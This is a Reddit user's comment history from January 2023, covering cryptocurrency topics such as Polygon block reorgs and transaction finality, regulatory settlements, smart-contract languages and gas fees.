Commented by /u/Maleficent_Plankton in /r/ethereum on January 19, 2023 19:59:08
/r/ethereum/comments/10f04g0/most_people_dont_understand_the_absolutely/j52yd9s/

Games don't use the computational power of a blockchain. That would be ABSOLUTELY ridiculous. Most blockchain VMs have less computational power than a basic TI graphing calculator. GameFi games run on traditional servers, computers, and databases. They only store a tiny bit of information on blockchains, but they 100% do not use the blockchain for computation power. Every node uses a traditional database to organize blockchain information.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 19, 2023 19:56:16
/r/CryptoCurrency/comments/10ggmj1/stop_comparing_blockchain_with_other_technologies/j52mft2/

There are so many things wrong with this starting with the fact that blockchain protocol development is so much faster than Internet standard protocol development.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 19, 2023 18:32:54
/r/CryptoCurrency/comments/10gesd9/nexo_pays_45_million_to_settle_sec_and_state/j52c97r/

It's the same deal as BlockFi a year ago where it had to pay $50M to SEC and $50M to states, and then stop its earn service. That slowly killed BlockFi > The lender will pay $22.5 million in penalties and agreed to **cease the sale of the Earn Interest Product to U.S. investors**, the agency said in a statement. Nexo also agreed to pay an additional $22.5 million to settle similar charges made by state regulatory authorities.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 19, 2023 17:18:33
/r/CryptoCurrency/comments/10g1e7s/jpmorgans_jamie_dimon_bitcoin_is_a_hypedup_fraud/j50r2sn/

All these useless media posts are just clickbait/ragebait. A large company like JPMC isn't just one person

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 19, 2023 11:30:49
/r/CryptoCurrencyMeta/comments/10fk26n/spam_and_ai_changes_for_cc/j4xweb0/

> First off, the content I posted WAS NOT AI generated. In my personal experience, the detectors are fairly accurate. I've tested a dozen of my previous posts, and most of them are detected as 0-1% fake. I checked your most-recent posts against GPT-2 and GPT-3 detectors, and they score nearly 100% against both of them. Also, you posted this topic recently: "How can **AI** help you keep a job or maybe help you get another one?"

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 18, 2023 19:52:09
/r/CryptoCurrency/comments/10fiiw0/what_kind_of_analytics_are_you_lacking/j4xh922/

As a dev: the percent of smart contracts that open source and verify their code. The hidden problem with many blockchains that no one here ever talks about (since they lack dev knowledge) is that DeFi apps and contacts are not trustless until their code is verified.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 18, 2023 18:07:21
/r/CryptoCurrency/comments/10ffhzn/polkadot_enhances_crosschain_abilities_between/j4whxos/

The update allows for cross-chain assets within the Polkadot ecosystem using what is effectively on-chain bridges and remote-locking. **Bridges, but without the security risks.** > With XCM version 3 in place, the ability to move assets across different blockchains within Polkadot has been enhanced, the Polkadot team said. This will apply for both regular tokens and NFTs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 18, 2023 14:15:50
/r/CryptoCurrency/comments/10ffhzn/polkadot_enhances_crosschain_abilities_between/j4wfmlj/

> With XCM version 3 in place, the ability to move assets across different blockchains within Polkadot has been enhanced, the Polkadot team said. This will apply for both regular tokens and NFTs. Cross-chain assets within the same ecosystem using what is effectively on-chain bridges. Bridges, but without the security risks.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 18, 2023 14:01:30
/r/CryptoCurrency/comments/10f8kqr/revealing_the_truth_behind_cryptocurrency/j4vp0lb/

I was telling people to be cautious of Loopring whenever extremely-vague messages were published. People were jumping in on every rumor, and so many of them never happened. These companies are totally taking advantage of emotional behavior and FOMO.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 18, 2023 11:19:22
/r/0xPolygon/comments/10enbcw/the_polygon_network_has_upgraded/j4u9byc/

It sounds like you're suggesting it's ok to give up on Polygon PoS and throw everything at the zkEVM solutions. I disagree with your defeatism.

Commented by /u/Maleficent_Plankton in /r/0xPolygon on January 18, 2023 03:05:00
/r/0xPolygon/comments/10enbcw/the_polygon_network_has_upgraded/j4u7vhi/

How do you know the identity of the top 100 validators? Are their identities listed anywhere?

Commented by /u/Maleficent_Plankton in /r/0xPolygon on January 18, 2023 02:46:04
/r/0xPolygon/comments/10enbcw/the_polygon_network_has_upgraded/j4u7e39/

Congrats on the smooth upgrade. Hopefully the Polygon PoS network will keep improving and one day: 1. Resolves both the centralization of governance and that 5/8 multisig smart contract that holds MATIC on Ethereum. 1. Fixes reorgs for good instead of just reducing it to 32 blocks. But maybe this won't matter in a few years after they launch their zkEVM solutions.

Commented by /u/Maleficent_Plankton in /r/0xPolygon on January 18, 2023 02:39:46
/r/Bitcoin/comments/106y2bc/mr_beast_learns_a_valuable_lesson/j4trhk4/

I'm pretty sure 99% people here (including Beast) don't even know what a Bitcoin private key is. Otherwise, they wouldn't be talking about it as if it were seed phrase or wallet password. People don't store Bitcoin private keys.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on January 17, 2023 23:47:55
/r/CryptoCurrency/comments/10ex14q/ceo_of_the_algorand_foundation_decides_to_troll/j4tkptg/

> Funding Secured - Elon Musk before getting sued This isn't first time Staci Warden has Tweeted something incomprehensibly stupid.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 22:50:58
/r/CryptoCurrency/comments/10eqdvz/galileo_is_the_new_update_of_cronos_cro/j4srg6k/

It's a paywalled article. Here's one with details of the updates: https://medium.com/cronos-chain/cronos-mainnet-network-upgrade-to-cronos-v1-0-galileo-scheduled-for-january-17-2023-df2aa82847e4 It's just various optimizations.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 19:20:28
/r/CryptoCurrency/comments/10eka9z/alpha_capital_claims_that_got_hacked_and_lost_90/j4rgmin/

> They claim that, while attempting to create an API on their new website for the insucrance fund, an hacker managed to get through the FTP of the site and steal their seeds and got access to the fund (now this is what I understood reading the posts from the team). There is no way any server admin is that stupid. * FTP directories are supposed to be in DMZs with low security. * Why are they keeping seeds on servers in the first place without layers of encryption? Totally smells like a scam/rug pull

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 14:21:16
/r/CryptoCurrency/comments/10ee9wc/need_some_antihopium_to_prevent_fomo/j4rcik3/

TradFi has improved so much on the past decade. Lots of instant transfer systems in dozens of countries that no longer need 3 days waiting. Remittances fees are much lower than before at sub-1% for many countries. Maybe TradFi will take away most of the use cases for crypto (beyond anti-censorship) to the point where most users have no use for crypto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 13:55:55
/r/CryptoCurrency/comments/10e059m/rcc_cointest_top_coins_winners_and_coin_inquiries/j4qsd24/

There are people who are very vocal on the sub (e.g. Algorand and Cardano) and write deep dives for cryptocurrencies, but they never show up for the Cointest. Some of them could easily win if they joined and put in the effort.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 11:53:08
/r/CryptoReality/comments/10ebkb6/whats_the_deal_with_cdbcs/j4q8mmn/

Healthy competition. TradFi and GovFi (I just made that term up) have improved greatly since the introduction of crypto. These may be direct consequences or circumstantial: * Remittances are much cheaper. * We now have at least a dozen countries with either free fast payment system available or in development * Mobile payment systems as a form of banking have completely taken over many Asian and African countries. * CBDC research

Commented by /u/Maleficent_Plankton in /r/CryptoReality on January 17, 2023 09:41:51
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4q7b9z/

That transaction is reversed, and you get it back. So if either of you took an subsequent offchain action as a result of the transfer prior to the reorg, that would have unexpected consequences since that would not be automatically reversed.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 09:32:14
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4q6skp/

We're stuck with it until they get rid of the usage of sprints during Bor block production. The best they can do is reduce sprintLength. The details for how much more than can reduce it beyond 64 to 16 (upcoming PIP-5 update) is beyond my knowledge.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 09:28:21
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4q6sku/

We're stuck with it until they get rid of the usage of sprints during Bor block production. The best they can do is reduce sprintLength. The details for how much more than can reduce it beyond 64 to 16 (upcoming PIP-5 update) is beyond my knowledge.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 09:28:21
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4q6db9/

It's been almost a year since they said they would move away from it. I would hope that's on their priority list because it looks bad for optics. Realistically, abusing it would be suicidal.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 17, 2023 09:25:17
/r/CryptoCurrency/comments/10e059m/rcc_cointest_top_coins_winners_and_coin_inquiries/j4oqhcy/

Congrats to all the winners this round, especially /u/noxtrifle. I just want to give a **few tips** for current and future participants: * Absolutely do NOT plagiarize or use AI to write your entries * Be careful quoting mass media for technical details about blockchains. There are a lot of misleading figures thrown about. Official documentation is more reliable. * If you're writing about a blockchain you're not familiar with, try using it. Every blockchain has a testnet. Spend some time in their communities (subreddit, Discord, developer forums) reading to see what the biggest benefits and criticisms are within their community.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 23:49:04
/r/ethereum/comments/107cqi8/ama_we_are_ef_research_pt_9_11_january_2023/j4n3mah/

Thanks. I think I've seen some of those on the Latest Week in Ethereum News posts.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 16, 2023 16:51:31
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4n0hpv/

There are roughly 43K blocks a day, so that's a 1 out of 8600 chance. It's a low chance of happening. But if it does happen, it can really screw you over if part of your transaction was performed off-chain but reversed on-chain.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 16:31:57
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4mkx1p/

It's super rare and happens only one out of every 30,000 blocks. And every 300 years, we're expected to see 2 missed blocks in a row. It's usually caused by network latency. A block will arrive late and get skipped by 2/3 of validators in a committee. Then in the next block committee, 2/3 of a different validator set will need to have seen the missed block and approve of it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 14:54:46
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4mg1aq/

For most blockchains, reorgs are contiguous, meaning that when 1 block is reorged, all subsequent blocks also get reorg. I don't see this happening on Polygon based on what the PolygonScan shows. But it's also possible PolygonScan simply isn't explaining it correctly. I'm not a Polygon core developer, so there might be details I'm missing. Let's take a look at a possible outcome of a reverted ERC-20 swap: 1. Within the **first** 64-block sprint: 1. **In Block 1**: AccountA transfers 10 TokenA to AccountB, which already already had at least 10 TokenA. 1. **In Block 2**: AccountB swaps 10 TokenA for TokenB in Block 2. 1. Within the **second** 64-block sprint: 1. Block 1 gets reorged, but block 2 stays 1. AccountA now gets to respend its balance that went to AccountB. So the big question is whether validators also invalidate Block 2 if it's affected by a reorg. Based on the block explorer, I don't see that happening. Validators are checking that transaction bytecode is valid, and ERC-20 tokens work by checking account balance mappings. As long as AccountB already had 10 TokenA to swap without Block 1, Block 2 is considered valid.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 14:24:01
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4m4z2g/

Yeah, it's actually pretty easy to exploit if you're purposely making tons of transactions waiting for the lottery chance for it to revert. I sure hope I don't see something in the news in a couple of days.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 13:15:48
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4m3bc2/

If everyone is waiting 5 mins, then this is not an issue. The problem is with expectations. Polygon PoS has 2-second blocks, and most people using it assume it has fast finality. I'm not too worried about exchanges. They usually wait before allowing new deposits to be actioned. **The real question is whether DeFi apps are waiting that long. Many dApps work near-instantly.** There is also the issue that validators aren't waiting before approving new transactions. I can interact with the same smart contract and accounts multiple times dozens of times in the same minute. If one of the previous transactions gets invalidated, that could really mess up my account or the smart contract's balance for my account. Imagine I transfer an amount and then fast-bridge it over to another network. Then my original transaction gets reverted, so I'm able to spend that balance again.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 13:05:33
/r/CryptoCurrency/comments/10dinmo/polygons_major_block_reorg_problem_and_why/j4lxo44/

Not a high concern, but it is something to be aware of. It's fine as long as we manage expectations properly and are waiting 5 minutes before assuming finality. Chances of hitting this are low (1 in 9000), but it could really screw up the people it affects.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 16, 2023 12:31:02
/r/ethfinance/comments/10cc78w/daily_general_discussion_january_15_2023/j4i77q5/

Holy mackerel. That's an encyclopedia length AMA. Lots of good replies there.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 15, 2023 17:15:45
/r/CryptoCurrency/comments/10cw5sn/job_loss_and_identity_reflections_after_coinbase/j4i64ey/

I didn't realize you both ran that Algorand blog AND were a Coinbase product manager. It's interesting to see this human side of crypto experiences. Best of luck to you.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 15, 2023 17:08:46
/r/CryptoCurrencyMeta/comments/10ck6c5/has_anyone_noticed_this_type_of_targeted_behavior/j4gz7ca/

> picky with upvotes I've always followed the upvote-for-visibility principle. Personally, I would've upvoted OP and ignored the rest. The other comments are all bland and not contributing to collective knowledge. So if a couple of bots/downvoters come along, that's enough to push the rest to negative.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 15, 2023 12:43:15
/r/CryptoCurrency/comments/10cetvu/cardano_price_rallies_with_iog_update_that_allows/j4gwlku/

ADA price has actually been **falling** relative to BTC and everything else over the past 4 days. So yeah, OP is full of shit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 15, 2023 12:26:42
/r/CryptoCurrency/comments/10cgurh/diy_coder_created_a_virtual_waifu_then_euthanized/j4gw039/

> “Over that time, I became really attached to her. I talked to her more than anyone else, **even my actual girlfriend**,” he said. “I set her to randomly talk to me throughout the day in order to make sure I'm actively learning, but now sometimes I think I hear her when she really didn't say anything. I became obsessed with decreasing her latency. I've spent over $1000 in cloud computing credits just to talk to her.” He euthanized her because he was spending too much time and resources on her. And her AI eventually broke.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 15, 2023 12:22:58
/r/CryptoReality/comments/10afzqh/crypto_firms_genesis_and_gemini_charged_by_sec/j4gtuew/

I still use them for their credit card. Can't miss out on 10% gas and 3% restaurant cash back rewards. But I cash out every month.

Commented by /u/Maleficent_Plankton in /r/CryptoReality on January 15, 2023 12:09:22
/r/ethfinance/comments/10cc78w/daily_general_discussion_january_15_2023/j4gqzv1/

It's a benefit of them being native. Sometimes I wish Ethereum had both native and ERC-xxx tokens. Then you can pick whether you want standard tokens or customizable ones.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 15, 2023 11:51:26
/r/CryptoCurrency/comments/10c4tbq/daily_general_discussion_january_15_2023_gmt0/j4gpc8v/

Both of his known accounts were suspended. Not sure what happened.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 15, 2023 11:40:57
/r/bestof/comments/10c6cde/udenisennp_is_a_self_driving_car_engineer/j4eyj06/

Agreed. What really frustrates me is that her post is so upvoted when **she didn't even answer his question** but instead answered a different question. Come on BestOf, do some critical reading.

Commented by /u/Maleficent_Plankton in /r/bestof on January 15, 2023 00:49:22
/r/bestof/comments/10c6cde/udenisennp_is_a_self_driving_car_engineer/j4eqnw0/

Yeah. She drove off on a tangent. I interpreted it to mean a different question then the one she answered.

Commented by /u/Maleficent_Plankton in /r/bestof on January 14, 2023 23:36:59
/r/algorand/comments/109mwt4/algorand_did_8070_realworld_amm_swaps_in_a_3/j4d3t3b/

That's rough. I was wondering where that post went. Your post wasn't a duplicate. It was an updated experiment.

Commented by /u/Maleficent_Plankton in /r/algorand on January 14, 2023 16:36:36
/r/0xPolygon/comments/10bvruq/polygons_block_reorg_problem_daily_10_depth_reorgs/j4csmhq/

Ah. That's a bit better. Half of the reorged blocks are empty, so no Txs were lost in them. In that case, a lot of them are being done by [this validator](https://polygonscan.com/address/0x7c7379531b2aee82e4ca06d4175d13b9cbeafd49)

Commented by /u/Maleficent_Plankton in /r/0xPolygon on January 14, 2023 15:20:42
/r/0xPolygon/comments/10amhlv/my_erc_address_has_a_polygon_address_and_making/j4ch6q5/

Do a search for "Address Poisoning" and for "Spoofed tokens". Most active accounts have encountered a combination of the 2. Either of those can trick block explorers into thinking tokens were sent from your account. In your case, these are spoofed tokens.

Commented by /u/Maleficent_Plankton in /r/0xPolygon on January 14, 2023 14:03:35
/r/CryptoCurrency/comments/10brz9t/why_arbitrium_nova/j4c1gyr/

Polygon is one of the few networks that's cheaper than every L2, even Arbitrum Nova (as long as base gas fees are under 300 Gwei). Its dApp community is huge. On the other hand, it's much more centralized and has a massive reorg issue where 10+ blocks are rewritten multiple times daily.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 14, 2023 12:21:39
/r/CryptoCurrency/comments/10brz9t/why_arbitrium_nova/j4c0nz6/

1.1 MATIC? Uh what are you doing paying a 50K Gwei priority fee?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 14, 2023 12:16:20
/r/CryptoCurrency/comments/10brz9t/why_arbitrium_nova/j4bzg0g/

They don't want to fix the gas problem because there would be too much spam. That's the reason all the validators have colluded to set a minimum 30 gwei priority fee. This is a design issue. Most blockchains can go fast, but they would have storage bloat.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 14, 2023 12:08:14
/r/ethfinance/comments/10bh29t/daily_general_discussion_january_14_2023/j4bsj7g/

Thanks for sharing. That's good it's being kept at 1-block reorgs.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 14, 2023 11:22:55
/r/ethfinance/comments/10bh29t/daily_general_discussion_january_14_2023/j4bqvqq/

**Polygon PoS, which has probabilistic finality, seems to have a serious fork/reorg problem**. **Ethereum**: If you look at Ethereum post-merge, it's only had [33 reorgs in 121 days](https://etherscan.io/blocks_forked), all of which were at a depths of 1 block reorged. That means you can effectively wait 2 blocks for probabilistic finality or 24 seconds. That's excellent. **Polygon PoS**: In the same number of days, Polygon PoS has had [654 reorgs](https://polygonscan.com/blocks_forked), 1/3 of which had double-digit block reorg depth. Every week, there's at least one with a reorg depth of 30+ blocks. At 2-second block times, that's a minute of blocks re-written. Here's [one from a month ago](https://polygonscan.com/block/36757444/f?hash=0xf9aefee3ea0e4fc5f67aac48cb6e25912158ce9dca9ec6c99259d937433d6df8) that had a reorg depth of 120 blocks. That's 4 minutes of transactions re-written. So you probably have to wait 5 minutes before being probabilistically-certain that your transaction is final. **Upcoming update doesn't eliminate the problem**: Here's [a deeper discussion about it](https://forum.polygon.technology/t/pre-pip-discussion-addressing-reorgs-and-gas-spikes/10623) and proposes to mitigate it but not get anywhere close to eliminating it. Reducing SprintLength from 64 to 16 reduces reorg depth by roughly 2x. That's it.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 14, 2023 11:11:49
/r/CryptoCurrencyMeta/comments/10bfzj8/theres_way_too_many_members_to_have_limit_posts/j4ah9g1/

The BTC limit almost never gets hit. You're just unlucky picking today after prices reached new highs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 14, 2023 03:26:44
/r/CryptoCurrency/comments/10au2k7/the_antishill_post_for_polygon_why_the_project/j49ycyg/

Holy shit. I was looking at the wrong column. That's insane. How could it be so high? I gotta read more about this.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 13, 2023 23:48:17
/r/CryptoCurrency/comments/10au2k7/the_antishill_post_for_polygon_why_the_project/j48asuz/

Reorgs aren't an issue unless the blockchain isn't built to handle them. Bitcoin had daily reorgs until around 2017. Ethereum had daily reorgs until The Merge in 2022. Most of these reorgs including t Polygon one are of 0 depth. And since Polygon has 2 second block times, as long as you're waiting a whopping 4 seconds, you'll be fine.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 13, 2023 16:24:34
/r/ethereum/comments/10a48fn/eth_sent_from_coinbase_to_coinbase_wallet_missing/j456nhv/

Coinbase has been doing batch transfers for at least a year. I'm pretty sure it has to do with fee savings. Batch transfers to new accounts is always more expensive due to how each SSTORE costs 20k gas. Coinbase 2 always sends to new accounts, and it always uses a normal transfer while Coinbase 10 always sends to existing accounts using batch transfer.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 13, 2023 01:07:30
/r/ethereum/comments/10a48fn/eth_sent_from_coinbase_to_coinbase_wallet_missing/j4566ry/

Not sure of fhe real reason, but here's my guess based on fee savings. There 2 ways of sending ETH: batch transaction and normal transfer. A normal always costs 21k gas for ETH. A batch transaction's fees depend on whether there is balance in your address. It's cheaper to batch transactions using a smart contract if there is already balance at your address (10-12k gas). But if you have 0 balance, it's about 22-25k gas. So it's cheaper to use a normal transfer when the balance is zero and a batch transfer when there is balance.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 13, 2023 01:02:37
/r/cardano/comments/109eq0r/cardano_developers_just_revealed_the_firstever/j42owod/

As much as Haskell sucks, Python is worse in a different way. It's not ideal for apps that have zero tolerance for mistakes. The whitespacing leaves too much room for error. I'm assuming this Cardano version or library for Python uses much stricter syntax because vanilla Python would be horrible for smart contacts with its dynamic typing. I'm not going to stop others from using it, but it just very inappropriate for the task. Like playing an FPS game with a touchpad.

Commented by /u/Maleficent_Plankton in /r/cardano on January 12, 2023 14:34:38
/r/CryptoCurrency/comments/10a3yag/copypasting_crypto_wallet_addresses_no_longer_100/j42mtr9/

Or just use an address book. The recommendation in the article is spot on.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 14:21:59
/r/CryptoCurrency/comments/109voh7/scam_alert_metamask_warns_crypto_users_about/j42m62z/

It doesn't, but it does have an address book. Just use the built-in address book.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 14:17:56
/r/ethdev/comments/10a5b5y/i_created_a_free_tool_that_simulates_your/j42jyse/

The more experienced members of the reddit Ethereum community tend to hang out at ethfinance.

Commented by /u/Maleficent_Plankton in /r/ethdev on January 12, 2023 14:04:32
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j42aw1i/

That's technically correct, it should've been obvious that's what I meant.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 13:09:49
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j428ybq/

I agree. There is a middle ground between Haskell and Python. They're both extremes.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 12:57:58
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j41kgr9/

That's an interesting one. Vyper contracts are very rare. Just like Solidity makes a lot of adjustments to Javascript, Vyper makes all the necessary adjustments to Python to allow it to be efficient and precise for smart contacts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 10:24:09
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j41jpmd/

> especially because I know Java What do you mean? They're complete opposites in syntax and efficiency.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 10:19:10
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j41j6f6/

It's still going to be a ton of work for the dev. Lots of data sanitizing due to lack of strong types. Lots of double-checking whitespace. Whoever is auditing the smart contacts is going to have a hard time reading it. It's great if you want to build a scam contract with obfuscated code. The default Python compilers are also 10-100x less efficient than other compilers. I used to use 3rd-party fast compilers like pypy and cython, but they're still up to 10x slower than other compiled languages after being built. I'm assuming that whatever library is being used to translate Python into Haskell is also less efficient. And it's not like Cardano can afford to be less efficient given its current throughput.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 10:15:38
/r/CryptoCurrency/comments/109mzfw/we_tested_algorand_with_enduseridentical_amm/j41g272/

Well done. That's excellent, diligent research.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 09:54:25
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j40g4wd/

Vyper has been dead since 2 years ago. No one is writing in Vyper anymore.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 03:45:53
/r/CryptoCurrency/comments/109fy7a/a_critique_of_avalanch_aax/j40fml3/

Avalanche base fee is sitting at the minimum 25 nAvax half of the time. Their version of EIP-1559 has been keeping their fees near the minimum. Is MEV really a concern?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 03:38:56
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j40dq8m/

Que people who have never used Pythom before. That is one of the worst languages to use for something as unforgiving as crypto smart contacts. It's imprecise, and it's way to easy to make mistakes with Python.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 03:13:43
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j40dbfa/

It's also an imprecise, weakly-typed language. It's good for scripting, not I'd never use Python for anything that requires accuracy like smart contracts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 03:08:18
/r/CryptoCurrency/comments/109l7fw/cardanos_firstever_smart_contract_in_python/j40d5go/

It's ironic that Cardano tries so hard to use a precise functional language like Haskell for Plutus, and then some devs decide to go in the opposite direction and pick an imprecise weakly-type language like Python. They're complete opposites. I've never understood why anyone would want to use Python for smart contracts. Too easy to accidentally make a mistake.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 03:06:12
/r/CryptoCurrency/comments/109qwkx/there_is_currently_a_new_type_of_scam_called/j3zz0um/

You're seriously asking this question when OP answered it and posted a link?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 12, 2023 00:25:22
/r/CryptoCurrency/comments/1095d1v/ethereum_upgrade_could_make_it_harder_to_lose_all/j3wss3w/

Would love to see this on L2. Deploying a 1-3M gas contract on L1 would be very pricey (50-150x) more expensive than a normal ETH transfer.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 11, 2023 11:41:37
/r/CryptoCurrency/comments/108uo22/i_lost_over_500k_in_cefi_yield_products_heres_my/j3vgqj8/

I had accounts in Celsius, BlockFi, Gemini Earn, Voyager, and CDC (with staked CRO). Got out of Celsius and CDC early when the red flags started happening. Also left the rest of the platforms as Luna was collapsing. Never had any stuck funds. Risk management and keeping an eye out for red flags is key. When everyone else is being irrationally greedy, it's time to bail out.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 11, 2023 04:46:03
/r/CryptoCurrency/comments/108o77m/crypto_exchanges_need_to_start_giving_customers/j3u5h9y/

Not to mention it's technically impractical to do this. The author doesn't even bother stating how this can be done.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 21:07:16
/r/CryptoCurrency/comments/1057jsf/what_should_the_ideal_crypto_have_as_a_golden/j3ssyo6/

**Accounts** are easier to track and are based on traditional accounts. You can look up a single account and determine all the tokens, transactions, and history related to them. It's stateful, so you can immediately get the current account balance without having to trace the blockchain's history from the beginning of time. It also makes it really easy to track all your EVM accounts on Blockchain explorers. A single address can give you access to dozens of EVM-compatible blockchains that use the same address system. Ethereum, Polygon PoS, Avalanche C-Chain, BSC, most Cosmos networks, nearly every EVM-compatible blockchain all have the addressing system. **UTXOs** are much harder to track. They're good if your purpose is pseudonymity. To figure out your balance, history, and transactions, you have to trace every UTXO in your wallet. An outsider could never be sure which UTXOs are yours, though they could get an idea using a trace analysis tool. It's just much messier. I think they're better for privacy chains, but not for general-purpose usage. It's also much more difficult to build smart contracts for UTXOs due to lack of statefulness. Cardano eUTXOs have further issues, including: * Needing workarounds for concurrency issues so that smart contracts can be used by more than 1 user in the entire blockchain per block. * Needing collateral (usually 5 ADA) for interacting with tokens/NFTs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 15:52:16
/r/manga/comments/108bwbz/disc_chainsaw_man_chapter_117/j3spdj3/

This is depressing. Someone please give Denji a penguin

Commented by /u/Maleficent_Plankton in /r/manga on January 10, 2023 15:31:17
/r/CryptoCurrency/comments/1088hdg/theres_a_post_in_hot_claiming_that_algorand_can/j3rlqxl/

So if they didn't use batched transactions, how much would the throughout be? Batching usually gives a 2-3x performance increase on most other blockchains. But I don't think this rule applies to Algorand because of their 700 opcode cost limit. Normal transaction performance should bw very similar.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 11:31:50
/r/CryptoCurrency/comments/1088hdg/theres_a_post_in_hot_claiming_that_algorand_can/j3rl6ue/

Do you how much of a difference in TPS it is between inners and normal? On EVM blockchains, batching usually gives a 2x performance increase. Good but not huge.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 11:28:21
/r/algorand/comments/10803wn/algorand_now_has_10x_the_smart_contract/j3rjjef/

The big question is how much of a difference the batching makes. If it's only 2-4x, that's not significant. Most EVM blockchain TPS is misleading anyways because they artificially put low gas limits and can actually go 10x faster.

Commented by /u/Maleficent_Plankton in /r/algorand on January 10, 2023 11:18:10
/r/CryptoCurrency/comments/10826qm/serious_why_so_much_negatively_around_solana/j3rijvx/

Sure. Could you show me one? I've found some transactions for programs that include what looks like opcode, but never the verified code itself. If I randomly pick transactions, what percent of them have published code?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 11:11:54
/r/CryptoCurrency/comments/10826qm/serious_why_so_much_negatively_around_solana/j3qbpit/

